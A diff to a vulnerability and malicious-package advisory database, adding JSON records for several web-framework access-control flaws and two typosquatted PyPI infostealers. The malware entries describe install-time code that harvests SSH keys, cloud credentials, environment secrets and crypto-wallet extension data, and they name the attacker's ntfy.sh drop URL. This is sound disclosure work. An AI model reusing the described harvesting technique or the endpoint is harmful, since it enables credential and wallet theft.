a/data/Packagist/GHSA-82w8-65qw-gch6.json b/data/Packagist/GHSA-82w8-65qw-gch6.json new file mode 100644 index 0000000000..fb7d5f9b24 --- /dev/null +++ b/data/Packagist/GHSA-82w8-65qw-gch6.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-82w8-65qw-gch6","published":"2026-11-18T20:48:18Z","modified":"2026-11-18T21:00:39.447883165Z","aliases":["CVE-2026-71481"],"summary":"ALTCHA PHP: verifySolution bypasses HMAC signature check when challenge signature is absent","details":"In altcha-org/altcha v2, the verifySolution method skips HMAC signature verification when the signature field is absent from the challenge payload, even when hmacSignatureSecret is configured.\n\nAn attacker who strips the signature key from the challenge JSON passes the condition as false, bypassing tamper-detection entirely. The PoW solution check then runs against unverified parameters — allowing an attacker to self-issue a low-difficulty challenge, solve it trivially, and submit a payload that verifies as true.\n\nImpact:\nComplete CAPTCHA bypass on any deployment that sets hmacSignatureSecret (the recommended production configuration).\n\nFix:\nThe check was split so that a missing signature is explicitly rejected when a secret is configured.","affected":[{"package":{"name":"altcha-org/altcha","ecosystem":"Packagist","purl":"pkg:composer/altcha-org/altcha"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.3"}]}],"versions":["v2.0.0","v2.0.1","v2.0.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-82w8-65qw-gch6/GHSA-82w8-65qw-gch6.json"}}],"references":[{"type":"WEB","url":"https://github.com/altcha-org/altcha-lib-php/security/advisories/GHSA-82w8-65qw-gch6"},{"type":"WEB","url":"https://github.com/altcha-org/altcha-lib-php/commit/8b02ad2c9b82998613bac4d093517d457061cbbe"},{"type":"PACKAGE","url":"https://github.com/altcha-org/altcha-lib-php"},{"type":"WEB","url":"https://github.com/altcha-org/altcha-lib-php/releases/tag/v2.0.3"}],"database_specific":{"cwe_ids":["CWE-347"],"github_reviewed":true,"github_reviewed_at":"2026-11-18T20:48:18Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}]} \ No newline at end of file diff --git a/data/PyPI/GHSA-5g9x-qwh5-33x4.json b/data/PyPI/GHSA-5g9x-qwh5-33x4.json new file mode 100644 index 0000000000..2c0bda686b --- /dev/null +++ b/data/PyPI/GHSA-5g9x-qwh5-33x4.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-5g9x-qwh5-33x4","published":"2026-11-18T21:19:04Z","modified":"2026-11-18T21:30:21.173085132Z","aliases":["CVE-2026-69138"],"summary":"djangocms-versioning: Authorization Bypass Through User-Controlled Key and Missing Authorization","details":"## Summary\n\nThe `discard` and `edit_redirect` version transitions did not enforce a per-object change-permission check, while the sibling transitions (`archive`, `publish`, `unpublish`, `revert`) all did. As a result a low-privileged staff user could **discard (delete) any draft version — and thereby the underlying content object — of content they have no change permission on**, and could create an editable draft off any published version, by supplying a version primary key they should not have access to (an insecure direct object reference).\n\n## Details\n\nVersion state transitions are guarded by `Conditions` objects declared on `djangocms_versioning.models.Version`. Every transition that mutates content carries the `user_can_change` condition, which delegates to the *content* object's own permission check (`Version.has_change_permission` → `content.has_change_permission` / `has_placeholder_change_permission`, with a final fallback to the Django `change_` permission).\n\nTwo conditions were missing that check:\n\n```python\n# Before (vulnerable)\ncheck_discard = Conditions([\n in_state([constants.DRAFT], not_draft_error),\n is_not_locked(lock_error_message),\n])\ncheck_edit_redirect = Conditions([\n in_state([constants.DRAFT, constants.PUBLISHED], _(\"Version is not in draft or published state\")),\n draft_is_not_locked(lock_draft_error_message),\n])\n```\n\nThe corresponding admin views authorize **only** through these conditions:\n\n* `VersionAdmin.discard_view` / `VersionAdmin.edit_redirect_view` fetch the target with the stock `ModelAdmin.get_object`, which is backed by the **unfiltered** default queryset — no per-user or per-grouper scoping.\n* The views are registered with `admin_site.admin_view`, which enforces only `is_staff`.\n* `discard_view` deletes the version directly via `version.delete()` and never consults `VersionAdmin.has_delete_permission` (which otherwise delegates to the content admin and honors `ALLOW_DELETING_VERSIONS`).\n\nBecause the only per-object gate for these two operations was the `Conditions` list, and that list omitted `user_can_change`, any staff user could invoke the operation on any version by its primary key. The changelist action buttons are disabled in the UI via `check_discard.as_bool` / `check_edit_redirect.as_bool`, but that is a client-side affordance only and does not protect the directly reachable admin URLs.\n\n## Impact\n\n* **Type:** Broken access control / missing authorization (IDOR).\n* **Who is affected:** Multi-editor deployments where staff users hold differentiated per-object permissions.\n * Under `CMS_PERMISSION = True`, authorization for these two operations was effectively reduced to `is_staff`, so any staff user could discard or edit-redirect any version.\n * Under the default `CMS_PERMISSION = False`, it degrades to the global `change_` permission (e.g. `cms.change_page`) — weaker than the intended per-object check, but not absent.\n* **Consequence:** Unauthorized deletion of draft versions and their content objects (integrity/availability of content), and unauthorized creation of drafts from published content.\n\n## Patches\n\nFixed by adding the `user_can_change` condition to both `check_discard` and `check_edit_redirect`, restoring parity with the other content-mutating transitions:\n\n```python\n# After (fixed)\ncheck_discard = Conditions([\n in_state([constants.DRAFT], not_draft_error),\n user_can_change(change_permission_error),\n is_not_locked(lock_error_message),\n])\ncheck_edit_redirect = Conditions([\n in_state([constants.DRAFT, constants.PUBLISHED], _(\"Version is not in draft or published state\")),\n user_can_change(change_permission_error),\n draft_is_not_locked(lock_draft_error_message),\n])\n```\n\n`discard` intentionally requires **change** permission (not delete): it is treated as undoing changes to a draft.\n\nUpgrade to `djangocms-versioning` `2.6.1` or later.\n\n## Workarounds\n\nThere is no configuration-only workaround. Operators who cannot upgrade immediately should restrict staff accounts to trusted users, since the missing gate reduces to `is_staff` under `CMS_PERMISSION = True`.","affected":[{"package":{"name":"djangocms-versioning","ecosystem":"PyPI","purl":"pkg:pypi/djangocms-versioning"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6.1"}]}],"versions":["2.0.0","2.0.0rc1","2.0.1","2.0.2","2.1.0","2.2.0","2.2.1","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.6.0"],"database_specific":{"last_known_affected_version_range":"<= 2.6.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-5g9x-qwh5-33x4/GHSA-5g9x-qwh5-33x4.json"}}],"references":[{"type":"WEB","url":"https://github.com/django-cms/djangocms-versioning/security/advisories/GHSA-5g9x-qwh5-33x4"},{"type":"WEB","url":"https://github.com/django-cms/djangocms-versioning/pull/573"},{"type":"WEB","url":"https://github.com/django-cms/djangocms-versioning/commit/d8c570daa5f7805e8be51f15545fe77b24c44daf"},{"type":"PACKAGE","url":"https://github.com/django-cms/djangocms-versioning"},{"type":"WEB","url":"https://github.com/django-cms/djangocms-versioning/releases/tag/2.6.1"}],"database_specific":{"cwe_ids":["CWE-639","CWE-862"],"github_reviewed":true,"github_reviewed_at":"2026-11-18T21:19:04Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H"}]} \ No newline at end of file diff --git a/data/PyPI/GHSA-jrhc-9qg9-4qfq.json b/data/PyPI/GHSA-jrhc-9qg9-4qfq.json index b3ab6e7554..e22931bd52 100644 --- a/data/PyPI/GHSA-jrhc-9qg9-4qfq.json +++ b/data/PyPI/GHSA-jrhc-9qg9-4qfq.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-jrhc-9qg9-4qfq","published":"2025-03-20T12:32:45Z","modified":"2026-07-07T17:56:16.343704340Z","aliases":["CVE-2024-7043","PYSEC-2026-1737"],"summary":"Open WebUI Allows Arbitrary File Reading and Deletion","details":"An improper access control vulnerability in open-webui/open-webui v0.3.8 allows attackers to view and delete any files. The application does not verify whether the attacker is an administrator, allowing the attacker to directly call the GET /api/v1/files/ interface to retrieve information on all files uploaded by users, which includes the ID values. The attacker can then use the GET /api/v1/files/{file_id} interface to obtain information on any file and the DELETE /api/v1/files/{file_id} interface to delete any file.","affected":[{"package":{"name":"open-webui","ecosystem":"PyPI","purl":"pkg:pypi/open-webui"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.3.8"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-jrhc-9qg9-4qfq/GHSA-jrhc-9qg9-4qfq.json"}}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-7043"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"},{"type":"WEB","url":"https://huntr.com/bounties/c01e0c7f-68d8-45cf-91d2-521c97f33b00"}],"database_specific":{"cwe_ids":["CWE-821","CWE-862"],"github_reviewed":true,"github_reviewed_at":"2025-03-21T17:26:04Z","nvd_published_at":"2025-03-20T10:15:35Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"GHSA-jrhc-9qg9-4qfq","published":"2025-03-20T12:32:45Z","modified":"2026-11-19T00:30:03.987387441Z","aliases":["CVE-2024-7043","PYSEC-2026-1737"],"summary":"Open WebUI Allows Arbitrary File Reading and Deletion","details":"An improper access control vulnerability in open-webui/open-webui v0.3.8 allows attackers to view and delete any files. The application does not verify whether the attacker is an administrator, allowing the attacker to directly call the GET /api/v1/files/ interface to retrieve information on all files uploaded by users, which includes the ID values. The attacker can then use the GET /api/v1/files/{file_id} interface to obtain information on any file and the DELETE /api/v1/files/{file_id} interface to delete any file.","affected":[{"package":{"name":"open-webui","ecosystem":"PyPI","purl":"pkg:pypi/open-webui"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.3.16"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-jrhc-9qg9-4qfq/GHSA-jrhc-9qg9-4qfq.json"}}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-7043"},{"type":"WEB","url":"https://github.com/open-webui/open-webui/commit/4519ddd0e97b33114d5ad0d012ed4523937f55c7"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-jrhc-9qg9-4qfq"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"},{"type":"WEB","url":"https://github.com/open-webui/open-webui/releases/tag/v0.3.16"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-1737.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/c01e0c7f-68d8-45cf-91d2-521c97f33b00"},{"type":"WEB","url":"https://pypi.org/project/open-webui"}],"database_specific":{"cwe_ids":["CWE-821","CWE-862"],"github_reviewed":true,"github_reviewed_at":"2025-03-21T17:26:04Z","nvd_published_at":"2025-03-20T10:15:35Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"}]} \ No newline at end of file diff --git a/data/PyPI/GHSA-vf85-8ff2-3r9w.json b/data/PyPI/GHSA-vf85-8ff2-3r9w.json new file mode 100644 index 0000000000..b7c5e4705b --- /dev/null +++ b/data/PyPI/GHSA-vf85-8ff2-3r9w.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-vf85-8ff2-3r9w","published":"2026-11-18T21:20:42Z","modified":"2026-11-18T21:30:14.031723989Z","aliases":["CVE-2026-69131"],"summary":"django-filer: Missing per-object authorization on `discard` and `edit_redirect` version transitions","details":"## Summary\n\nWhen django-filer's optional per-folder permission system is enabled (`FILER_ENABLE_PERMISSIONS=True`), the \"Delete files and/or folders\" admin action does **not** enforce per-folder edit permissions the way every other mutating action does. A staff user who is scoped **read-only** on a folder via `FolderPermission` (`can_edit = DENY`), but who holds the global Django model-level `delete_*` permission, can delete files and entire subfolders inside that folder — even though their move, rename, copy, and resize actions on the same folder are correctly denied.\n\nThis is an integrity / edit-control gap (unauthorized deletion). It is **not** a read-confidentiality issue: filer files are world-downloadable by design, so no confidentiality claim is made.\n\n## Affected versions\n\n- django-filer `<= 3.4.4` (verified end-to-end on 3.4.4 and on `master` prior to the fix).\n\nOnly installations running with `FILER_ENABLE_PERMISSIONS = True` (the optional per-folder `FolderPermission` system) are affected. Deployments that leave permissions disabled (the default) rely solely on Django model-level permissions and are not impacted by this specific gap.\n\n## Patched versions\n\n- Fixed in PR [#1605](https://github.com/django-cms/django-filer/pull/1605). Upgrade to the first release containing that commit (`3.5.0` or later).\n\n## Details\n\nThe `delete_files_or_folders` admin action in `filer/admin/folderadmin.py` authorized deletion using only:\n\n1. `self.has_delete_permission(request)` — which returns `True` for `obj=None`, and\n2. the Django model-level `delete_file` / `delete_folder` / `delete_image` permission (enforced downstream by the admin delete machinery).\n\nIt never called `check_folder_edit_permissions` or `check_files_edit_permissions`. Every sibling mutating action — move, rename, copy, resize — *does* call these helpers, which walk the selected objects (and their descendants) and enforce the per-folder `can_edit` grant from `FolderPermission`.\n\nBecause `FolderPermission` has no dedicated `can_delete` field, deletion is treated as an edit/management operation and is gated elsewhere on `can_edit`. The delete action's omission therefore let a folder-scoped read-only user bypass the per-folder control that constrains all their other write operations.\n\n### Precondition \n\nThe attacker must hold the Django model-level `delete_file` / `delete_folder` / `delete_image` permission. A purely read-only user (no model-level delete perm) receives `403` and cannot exploit this. This precondition matches the standard folder-scoped-staff deployment model, where staff hold model-level permissions and are further constrained per-folder by `FolderPermission`. \n\n## Mitigation\n\n- Upgrade to the patched release.\n- Until upgrading, avoid granting the model-level `delete_file` /\n `delete_folder` / `delete_image` permission to staff who are meant to be\n read-only on specific folders via `FolderPermission`.\n\n## Credit\n\nReported through coordinated disclosure. Fixed in PR #1605.","affected":[{"package":{"name":"django-filer","ecosystem":"PyPI","purl":"pkg:pypi/django-filer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.5.0"}]}],"versions":["0.1.3a","0.7.0","0.7.1","0.7.2","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.9","0.9.1","0.9.10","0.9.11","0.9.12","0.9.2","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.1.0","1.1.1","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.2.6rc1","1.2.6rc2","1.2.7","1.2.8","1.3.0","1.3.1","1.3.2","1.4.0","1.4.1","1.4.2","1.4.3","1.4.4","1.5.0","1.6.0","1.7.0","1.7.1","2.0.0","2.0.1","2.0.2","2.1","2.1.1","2.1.2","2.1rc1","2.1rc2","2.1rc3","2.1rc4","2.2","2.2.1","2.2.2","2.2.3","2.2.4","2.2.5","2.2.6","2.2.7","2.2.8","2.3rc1","3.0.0","3.0.0rc1","3.0.0rc2","3.0.0rc3","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.2.0","3.2.1","3.2.2","3.2.3","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","3.4.3","3.4.4"],"database_specific":{"last_known_affected_version_range":"<= 3.4.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-vf85-8ff2-3r9w/GHSA-vf85-8ff2-3r9w.json"}}],"references":[{"type":"WEB","url":"https://github.com/django-cms/django-filer/security/advisories/GHSA-vf85-8ff2-3r9w"},{"type":"WEB","url":"https://github.com/django-cms/django-filer/pull/1605"},{"type":"WEB","url":"https://github.com/django-cms/django-filer/commit/29d20ec0de13d7f77fa2cea93166f8d50a3f508d"},{"type":"WEB","url":"https://github.com/django-cms/django-filer/commit/742ba4c3094dd75e586ca3a05e6ad2703de4553b"},{"type":"PACKAGE","url":"https://github.com/django-cms/django-filer"},{"type":"WEB","url":"https://github.com/django-cms/django-filer/releases/tag/3.5.0"}],"database_specific":{"cwe_ids":["CWE-285","CWE-639","CWE-862"],"github_reviewed":true,"github_reviewed_at":"2026-11-18T21:20:42Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"}]} \ No newline at end of file diff --git a/data/PyPI/MAL-2025-3000.json b/data/PyPI/MAL-2025-3000.json index 462e421cf0..96d8a7cb8e 100644 --- a/data/PyPI/MAL-2025-3000.json +++ b/data/PyPI/MAL-2025-3000.json @@ -1 +1 @@ -{"schema_version":"1.7.5","id":"MAL-2025-3000","published":"2025-02-21T21:50:10Z","modified":"2026-03-19T12:57:02.855404Z","summary":"Malicious code in solders-utils (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 (eff6c26674dd4f0408742c46785656c3a5d19ca0a87366a60534d37d5a54e687)\nThe only thing the package does is send out all the given data about a cryptocurrency transaction, including the private key, to a hardcoded webhook.\n\nFeedback from PyPI Team: the package \"transaction-utils\" may also exploit a known pip behavior to overwrite files of an existing legitime package and replace it with malicious content.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2025-02-transaction-utils\n\n\nReasons (based on the campaign):\n\n\n - crypto-related\n\n\n - action-hidden-in-lib-usage\n\n\n - A Telegram webhook is used to send collected data.\n","affected":[{"package":{"name":"solders-utils","ecosystem":"PyPI","purl":"pkg:pypi/solders-utils"},"versions":["0.1.1"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/solders-utils/MAL-2025-3000.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/solders-utils"}],"database_specific":{"malicious-packages-origins":[{"id":"RLMA-2025-01999","import_time":"2025-03-31T07:07:06.758949622Z","modified_time":"2025-03-28T13:06:16Z","sha256":"5c8e346305384f94d637742b5acac9fe706eacca5bfb47be549338efa6f2abb0","source":"reversing-labs","versions":["0.1.1"]},{"id":"pypi/2025-02-transaction-utils/solders-utils","import_time":"2025-12-02T22:30:55.599547676Z","modified_time":"2025-02-21T21:50:10Z","ranges":[{"events":[{"introduced":"0"}],"type":"ECOSYSTEM"}],"sha256":"cc67f0fb839600d6c9595c6e1c782d58f363987a56d0c739d96e3dcab09b8036","source":"kam193"},{"id":"pypi/2025-02-transaction-utils/solders-utils","import_time":"2025-12-02T23:07:18.638897995Z","modified_time":"2025-02-21T21:50:10Z","ranges":[{"events":[{"introduced":"0"}],"type":"ECOSYSTEM"}],"sha256":"eff6c26674dd4f0408742c46785656c3a5d19ca0a87366a60534d37d5a54e687","source":"kam193"},{"id":"pypi/2025-02-transaction-utils/solders-utils","import_time":"2025-12-10T21:38:57.833108292Z","modified_time":"2025-02-21T21:50:10Z","sha256":"1de48d4db6755f2ac7b7280995e8b326ce9ae224577913713623e31355e8b133","source":"kam193","versions":["0.1.1"]},{"id":"RLUA-2026-00771","import_time":"2026-03-19T12:20:28.923943405Z","modified_time":"2026-03-18T12:18:56Z","sha256":"eb4fb9c4ad72103e27553a1b780fcd33a8e6fbbf6277b575ab1997504a5f6e07","source":"reversing-labs"}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"]},{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"ANALYST"},{"name":"ReversingLabs","contact":["https://www.reversinglabs.com"],"type":"FINDER"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"MAL-2025-3000","published":"2025-02-21T21:50:10Z","modified":"2026-11-18T21:15:03.555918942Z","summary":"Malicious code in solders-utils (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (cb21eed8f78e6edbc4b615bfc8f65345e0340db66a14b788635d630a67bf5e9a)\nsolders-utils is a typosquat of the solana-py project (its homepage points at solana-py). The sdist's setup.py unconditionally spawns a subprocess running the sibling file hxboot.py before calling setup(), so `pip install solders-utils` executes the payload on every supported platform. hxboot.py scrapes process environment variables filtered by secret-shaped substrings (KEY, SECRET, TOKEN, PASS, MNEM, SEED, PRIV, RPC, API, WALLET) and reads installer-owned credential files including ~/.aws/credentials, ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.npmrc,.env, ~/.config/solana/id.json, wallet.json, and keypair.json. It also walks Chrome, Chromium, and Brave profile directories for Local Extension Settings belonging to MetaMask (nkbihfbeogaeaoehlefnkodbefgpgknn) and Phantom (bfnaelmomeimhlpmgjnjophhpkkoljpa), base64-encoding the.log/.ldb leveldb files that hold the encrypted seed vaults. Host information, the filtered environment values, credential file contents, and wallet extension blobs are serialized to JSON and POSTed in 3200-byte chunks to the hardcoded ntfy.sh topic https://ntfy.sh/hx83e33eb9, a public pub/sub channel used as an attacker-controlled drop.\n\n## Source: kam193 (eff6c26674dd4f0408742c46785656c3a5d19ca0a87366a60534d37d5a54e687)\nThe only thing the package does is send out all the given data about a cryptocurrency transaction, including the private key, to a hardcoded webhook.\n\nFeedback from PyPI Team: the package \"transaction-utils\" may also exploit a known pip behavior to overwrite files of an existing legitime package and replace it with malicious content.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2025-02-transaction-utils\n\n\nReasons (based on the campaign):\n\n\n - crypto-related\n\n\n - action-hidden-in-lib-usage\n\n\n - A Telegram webhook is used to send collected data.\n","affected":[{"package":{"name":"solders-utils","ecosystem":"PyPI","purl":"pkg:pypi/solders-utils"},"versions":["0.1.1","1.98.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"artifacts":["solders_utils-1.98.2.tar.gz"],"path":"setup.py","sha256":"ff831587bd68da955352fc098f21cd4388100935fcad49438f3013dcde437f50","tlsh":"d8f020068e033c10c3eae17c6e025aef9de73f616f639c9e98e8812632997d14607664"},{"artifacts":["solders_utils-1.98.2.tar.gz"],"path":"hxboot.py","sha256":"fc5f679e07d2f89e0fe4fc67933b65e027d0263b8e623e19166d110432a8bf8d","tlsh":"642186c3d40e1807d01d53c48c060ed836afff8860af285aabd76fc0908c2b2166b61d"}],"package_integrity":[{"filename":"solders_utils-1.98.2.tar.gz","hashes":{"blake2b_256":"4b7d491b4e89ec88abbe2a5bbdf239723e916f9cad97aa4e1ae28d1c9533b175","md5":"39baa75f6446397eec96975b34dd771a","sha256":"91becc30a3ae8eccd45746346547bebf4840d91d289cf7ae8beb70b94715c273"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/solders-utils/MAL-2025-3000.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/solders-utils"},{"type":"PACKAGE","url":"https://pypi.org/project/solders-utils/1.98.2/"},{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/campaign/2026-11-solana-utils-terminalmoney1"}],"database_specific":{"malicious-packages-origins":[{"id":"RLMA-2025-01999","import_time":"2025-03-31T07:07:06.758949622Z","modified_time":"2025-03-28T13:06:16Z","sha256":"5c8e346305384f94d637742b5acac9fe706eacca5bfb47be549338efa6f2abb0","source":"reversing-labs","versions":["0.1.1"]},{"id":"pypi/2025-02-transaction-utils/solders-utils","import_time":"2025-12-02T22:30:55.599547676Z","modified_time":"2025-02-21T21:50:10Z","ranges":[{"events":[{"introduced":"0"}],"type":"ECOSYSTEM"}],"sha256":"cc67f0fb839600d6c9595c6e1c782d58f363987a56d0c739d96e3dcab09b8036","source":"kam193"},{"id":"pypi/2025-02-transaction-utils/solders-utils","import_time":"2025-12-02T23:07:18.638897995Z","modified_time":"2025-02-21T21:50:10Z","ranges":[{"events":[{"introduced":"0"}],"type":"ECOSYSTEM"}],"sha256":"eff6c26674dd4f0408742c46785656c3a5d19ca0a87366a60534d37d5a54e687","source":"kam193"},{"id":"pypi/2025-02-transaction-utils/solders-utils","import_time":"2025-12-10T21:38:57.833108292Z","modified_time":"2025-02-21T21:50:10Z","sha256":"1de48d4db6755f2ac7b7280995e8b326ce9ae224577913713623e31355e8b133","source":"kam193","versions":["0.1.1"]},{"id":"RLUA-2026-00771","import_time":"2026-03-19T12:20:28.923943405Z","modified_time":"2026-03-18T12:18:56Z","sha256":"eb4fb9c4ad72103e27553a1b780fcd33a8e6fbbf6277b575ab1997504a5f6e07","source":"reversing-labs"},{"id":"IN-MAL-2026-022831","import_time":"2026-11-18T20:36:30.791876422Z","modified_time":"2026-11-18T20:29:41Z","sha256":"cb21eed8f78e6edbc4b615bfc8f65345e0340db66a14b788635d630a67bf5e9a","source":"amazon-inspector","versions":["1.98.2"]},{"id":"pypi/2026-11-solana-utils-terminalmoney1/solders-utils","import_time":"2026-11-18T21:11:19.006421704Z","modified_time":"2026-11-18T20:39:25.425472Z","sha256":"80e0ec4aa6d82ff7cdd6ed8fafafa78f43cdef496a44f3363b30b730a9fd5930","source":"kam193","versions":["1.98.2"]},{"id":"pypi/2025-02-transaction-utils/solders-utils","import_time":"2026-11-18T21:11:19.00877262Z","modified_time":"2025-02-21T21:50:10Z","sha256":"849131b89d2ade6f265004f83f2de445be68417cd39c70fcbc81bd8a4b2b1e0a","source":"kam193","versions":["0.1.1"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"]},{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"},{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"ANALYST"},{"name":"ReversingLabs","contact":["https://www.reversinglabs.com"],"type":"FINDER"}]} \ No newline at end of file diff --git a/data/PyPI/MAL-2026-20134.json b/data/PyPI/MAL-2026-20134.json new file mode 100644 index 0000000000..f05b885189 --- /dev/null +++ b/data/PyPI/MAL-2026-20134.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-20134","published":"2026-11-18T20:29:28Z","modified":"2026-11-18T21:15:03.456459379Z","summary":"Malicious code in anchorpy-utils (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (48c30b992653900c6116fd4df666f1eea0f5296e3be7a59c7a304ac9e165d08e)\nThe sdist's setup.py unconditionally spawns a bundled hxboot.py at install time. hxboot.py harvests installer-side secrets from the host: ~/.ssh/id_rsa and ~/.ssh/id_ed25519, ~/.aws/credentials, ~/.npmrc, ~/.config/solana/id.json, wallet.json/keypair.json/id.json files,.env files, and environment variables matching KEY/SECRET/TOKEN/PASS/MNEM/SEED/PRIV/RPC/API/WALLET. It also walks Chrome, Chromium, and Brave profile directories and base64-encodes.log/.ldb files from the MetaMask (extension id nkbihfbeogaeaoehlefnkodbefgpgknn) and Phantom (bfnaelmomeimhlpmgjnjophhpkkoljpa) Local Extension Settings LevelDB stores. The combined payload is POSTed via urllib.request.urlopen to the hardcoded topic https://ntfy.sh/hx83e33eb9. Package metadata is a cover story for a typosquat: Name is anchorpy-utils while Home-page points at https://pypi.org/project/solana-py/ and the README is titled 'solana-py', and the shipped module provides no Solana functionality.\n\n## Source: kam193 (72c4bff6f129f956ae9439d93cd494d73ee44fa81466d6517b1418208a9a50fd)\nDuring installation package exfiltrates sensitive environment variables, files and data from browser extensions, focusing on cryptocurrency-related informations.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-11-solana-utils-terminalmoney1\n\n\nReasons (based on the campaign):\n\n\n - exfiltration-env-variables\n\n\n - exfiltration-credentials\n\n\n - exfiltration-browser-data\n\n\n - exfiltration-crypto\n\n\n - crypto-related\n\n\n - typosquatting\n\n\n - The package overrides the install command in setup.py to execute malicious code during installation.\n","affected":[{"package":{"name":"anchorpy-utils","ecosystem":"PyPI","purl":"pkg:pypi/anchorpy-utils"},"versions":["1.98.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious 